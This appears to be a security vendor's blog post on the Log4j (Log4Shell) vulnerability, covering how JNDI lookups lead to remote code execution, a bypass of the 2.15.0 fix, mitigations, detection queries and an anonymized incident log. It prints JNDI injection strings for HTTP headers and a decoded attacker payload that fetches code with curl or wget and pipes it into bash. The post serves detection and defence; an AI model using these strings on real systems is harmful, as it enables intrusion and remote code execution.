Written by Kyle Bailey, Patrick Hagan, & Ben Sebastian
Note for the reader: This blog post details the latest learnings for Log4j exploitation and detection, including:
Log4j is a widely used open-source logging library for Java applications. Log4j provides additional logging capabilities, like log levels (fatal, error, warn, etc), mechanisms to write to different log files, log rolling patterns, and more. If you’ve ever worked within a Java application, you’ve probably seen Log4j in use:
import org.apache.logging.log4j.Logger;
…
LOGGER.info(String.format("An error occurred while uploading the file [%s]", theFile));
…Code language: Python (python)Log4j, by default, supported a logging capability called Lookups.
This feature interpolates specific strings at the time of logging a message.
For example, logging “HelloWorld: ${java:version}” via Log4j would result in the following being logged: “HelloWorld: Java version 1.7.0_67”
One of the supported lookups was jndi, which supported LDAP as a protocol. The LDAP server specified could be local or remote.
As a result, if a string like this was ever logged: “${jndi:ldap://example.com/HelloWorld.class}”, Log4j would make a remote request to example.com, obtain HelloWorld.class, and execute it, resulting in remote code execution (RCE).
Log4j versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 are vulnerable.
The fix provided for the original CVE in 2.15.0 is bypassable through the following URI technique: ${jndi:ldap://127.0.0.1#example.com:/callback} for non-default configurations
Details on the non-default configuration from the Log4j team: “When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.”
Note: Panther is not and never was vulnerable to this exploit. We do not use Log4j in our product or in the environment used to provide our product services.
Most web applications, regardless of the language they are written in, log everything from parameters, to HTTP headers (ex: User Agent), to form fields, and otherwise, to aid in debugging and metrics. It’s possible that many, if not most, publicly accessible Java services are vulnerable, if they leverage vulnerable versions of Log4j.
Even if publicly accessible services don’t leverage Log4j, if they log to a downstream logging system that uses Log4j, exploitation will still occur.
This graphic by Rob Fuller (@mubix) illustrates it well:
This illustration explains why hackers are sometimes finding that exploitation will take minutes to hours, as opposed to happening at the time of sending the HTTP request.
CISA (the Cybersecurity and Infrastructure Security Agency) has documented some of the applications that are confirmed as vulnerable: https://github.com/cisagov/log4j-affected-db#software-list
As of 9 a.m. ET on Monday, December 13, 2021, Checkpoint’s researchers had seen exploits attempted on more than 40 percent of corporate networks globally.
The map below illustrates the top targeted geographies (Source: Checkpoint).
While the Log4j vulnerability allows for full remote code execution, which attackers can leverage to run bitcoin miners, Cobalt Strike implants, and more, most whitehat hackers are validating exploitability by simply providing an LDAP server with a unique FQDN or URL with logging enabled. By using a unique FQDN or URL for each “target” company or service, the hacker knows which exploitation attempts worked against which company or service.
There are many websites that provide such services, including https://webhook.site, http://ceye.io, https://app.interactsh.com, and commercial products like Canary.
Screenshots can be found on Twitter and Github purportedly demonstrating that Apple iCloud, Amazon, Cloudflare, and others were vulnerable at one point.
While hackers can manually test fields on a website, many have been automating their efforts by crawling websites and providing the malicious string in multiple HTTP Request headers (ex: User-Agent), URL parameters, and form fields.
For example, with many HTTP Request Headers set to the malicious string:
Referer=${jndi:ldap://example.com/…}
X-Forwarded-For=${jndi:ldap://example.com/…}
User-Agent=${jndi:ldap://example.com/…}Security teams are analyzing code packages and code dependencies to find uses of vulnerable Log4j versions. Real world examples:
Security teams are also leveraging vulnerability scanners to find exploitable services within their environment.
Additionally, security teams are leveraging endpoint security agents to search for the vulnerable library. Products that support this include Rapid7’s InsightVM (link), Crowdstrike, and others. If you’re a Crowdstrike customer, you can find their purpose-built dashboard for this vulnerability and potential activity at: {domain}/discover/discover/en-US/app/eam2/vuln_log4shell
Security teams are also leveraging open source tools, such as Lunasec’s CLI, which can scan a filesystem (Windows, macOS, Linux) for known vulnerable Log4j dependencies. Stripe has released a similar tool as well.
If you’re responsible for a product that leverages Log4j, you have the following upgrade options
If upgrading the Log4j library is not within your control, but you have access to the servers running the application, you have other options:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. This assumes you’re confident your application does not leverage JNDI Lookups.If you don’t have access to the servers, but your company owns them and you have permission from needed stakeholders, you have one other option:
Lastly, you can also leverage a WAF, such as AWS’, Cloudflare’s or Fastly’s, to drop known exploitation patterns. To leverage AWS’ WAF protection against Log4j exploitation attempts for CloudFront, ALB, API Gateway, and Appsync, enable the AWSManagedRulesKnownBadInputsRuleSet rule, and choose the default version if you want to receive automated updates. It’s worth noting that a WAF is a defense in depth measure, and WAF bypass techniques will continue to appear, for both this vulnerability, and future ones.
Other mitigations have been suggested in the past week, but have proven to be insufficient after further research by the Log4j team, including setting log4j2.formatMsgNoLookups or LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
Per the Log4j team,
“The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf(“%s”, userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.”
The 2.15.0 release intended to fix the original CVE CVE-2021-44228, but did not completely address the issue.
“The 2.15.0 release was found to still be vulnerable when the configuration has a pattern layout containing a Context Lookup (for example, $${ctx:loginId}), or a Thread Context Map pattern %X, %mdc or %MDC. When an attacker can control Thread Context values, they may inject a JNDI Lookup pattern, which will be evaluated and result in a JNDI connection. Log4j 2.15.0 restricts JNDI connections to localhost by default, but this may still result in DOS (Denial of Service) attacks, or worse.”
Later, Márcio Almeida (@marcioalm), with research from @pwntester and @_atorralba, confirmed the 2.15.0 release fix was also vulnerable to remote code execution, not just DoS, via the following bypass technique: ${jndi:ldap://127.0.0.1#example.com/callback}
The safest thing to do is to upgrade Log4j to 2.12.2+, or 2.16.0+, depending on your Java version.
This post has largely discussed using the JDNI Lookup and the LDAP protocol. However, other protocols can be leveraged, depending upon Log4j’s configuration, including DNS, RMI, IIOP, and others.
Example exploitation strings:
Additionally, to avoid detection by WAF’s and otherwise, attackers are leveraging other Lookups, to obfuscate their work.
Examples:
It appears (needs additional confirmation), that the casing is not sensitive as well, e.g. hackers can use something like ${jnd${uPpEr…
Additionally, attackers are commonly exfiltrating environment variables, and Java system property details, by leveraging exploitation strings like the following:
Lastly, recall that hackers are leveraging services like https://webhook.site, http://dnslog.cn, http://ceye.io, https://app.interactsh.com, and others to determine if you’re vulnerable in a “safe way,” e.g without dropping a remote shell or implant.
With the knowledge of commonly used exploitation strings and services, we can write detections against these identifiers. We will break down these identifiers in the following sections.
The exploit string
Look for the following strings in your Webserver, ALB, Cloudtrail, VPC, WAF, and Firewall logs:
IOCs (IP addresses).
Look for “known bad” IP addresses found in exploitation attempts
Examples
You can leverage these in various platforms, such as Splunk via lookup tables, and through platforms that support custom intel feeds. It’s important to emphasize that IP addresses are prone to false positives, as IP addresses are regularly released and re-assigned, and there can be cases where an IP was compromised, but is later cleaned up.
IOCs (Domains)
Look for DNS queries to domains known to be used for DNS/HTTP logging. These sites can be used for legitimate purposes, so keep this in mind. You can consider sinkholing these domains in your corporate and production environments as well.
Panther’s Detection Team has released multiple Log4j exploitation detection rules for our product. Because Panther allows us, and our customers, to write detections-as-code in Python, we were able to write flexible rules that account for a wide variety of obfuscation techniques, without being limited to a regex or a limiting domain specific language (DSL). Details:
The above detection rules have been released in the latest Panther Analysis release and can be quickly uploaded into Panther using the Bulk Uploader option in the UI. The panther-log4j-iocs.zip can be found here.
The detection rules above will provide real-time alerting on new activity for the log4j IoCs. Panther customers can also conduct their own threat hunting or investigations leveraging our Data Explorer to perform queries on their historical data in SQL. Example:
SELECT userAgent
FROM panther_logs.public.AWS_ALB
WHERE userAgent LIKE ANY ('%jndi%', '%:${lower:%', '%${env:%')
ORDER BY p_event_time desc
LIMIT 100Code language: SQL (Structured Query Language) (sql)
Panther has observed many Log4j exploitation attempts.
Here is an example AWS ALB log, which has been minimized and anonymized:
{
"timestamp": "2021-12-10 18:00:00.000",
"clientIp": "45.x.x.x",
"clientPort": 57400,
"targetIp": "10.0.0.1",
"targetPort": 80,
"targetStatusCode": 200,
"requestHttpMethod": "GET",
"requestUrl": "https://54.x.x.x:443/",
"userAgent": "${jndi:ldap://45.x.x.x:12340/Basic/Command/Base64/<base64_string>}",
"p_any_ip_addresses": [
"10.0.0.1",
"45.x.x.x"
]
}
Code language: JSON / JSON with Comments (json)Here is the corresponding VPC Flow Log, also minimized and anonymized:
{
"account": "123456789012",
"interfaceId": "eni-00000000000000000",
"srcAddr": "10.0.0.2",
"dstAddr": "45.x.x.x",
"srcPort": 80,
"dstPort": 53417,
"packets": 3,
"bytes": 180,
"start": "2021-12-11 06:21:17",
"end": "2021-12-11 06:21:19",
"action": "ACCEPT",
"status": "OK",
"vpcId": "vpc-00000000000000000",
"subNetId": "subnet-00000000000000000",
"pktSrcAddr": "10.0.0.2",
"pktDstAddr": "45.x.x.x",
"flowDirection": "egress",
"p_any_ip_addresses": [
"10.0.0.2",
"45.x.x.x"
]
}Code language: JSON / JSON with Comments (json)The payload contained in the base64-encoded user agent string expands to:
(curl -s 45.x.x.x:5870/54.x.x.x:443||wget -q -O- 45.x.x.x:5870/54.x.x.x:443)|bash
In this case, the attacker was trying to retrieve and execute a malicious payload from 45.x.x.x, using either curl or wget, and piping into bash.
Panther has observed many attack strings that use the pattern Basic/Command/Base64/, followed by different base64 strings. This suggests that an automated tool designed to exploit this vulnerability was used.
When looking at the VPC flow logs, we see some peculiar things. The aforementioned flow log covers an aggregation period of two seconds, during which 3 packets totalling 180 bytes were sent from the internal interface to the malicious IP address. Assuming the VPC flow log corresponds to an event similar to the one shown in the ALB log, this data flow represents a response to the attacker’s plain text HTTP GET request on tcp/80 to an external IP address belonging to Panther. Normally, an HTTP GET request to the Panther server results in an HTTP 301 redirect to HTTPS. A total of 568 bytes flowed from the server to the requestor, consisting of a TCP ACK packet and the plain text redirect message. This response occurs within a few hundredths of a second. Since only 180 bytes flowed outbound in the two second aggregation window for the log, this suggests a normal exchange did not take place.
The reason for this is probably because the attacker had little need to send or receive any more data with the target system after the malicious payload was delivered via the userAgent string. The attacker’s interface probably sent a TCP RST packet after delivering the initial GET request. The 180 bytes probably represents the server’s interface sending the initial ACK, followed by several of its own RST packets after receiving one from the attacker.
With any new threat, it is critical for security teams to take action quickly to understand their exposure, assess mitigation options, and monitor for signs of exploitation. It has been amazing to see security teams, vendors, and individuals, across the globe contributing research, indicators of compromise, detection ideas, patches, and analysis to the broader community.
The security team at Panther will continue to monitor the log4j situation and provide updates to this post and to the detections available to our customers as new information and insights warrant.
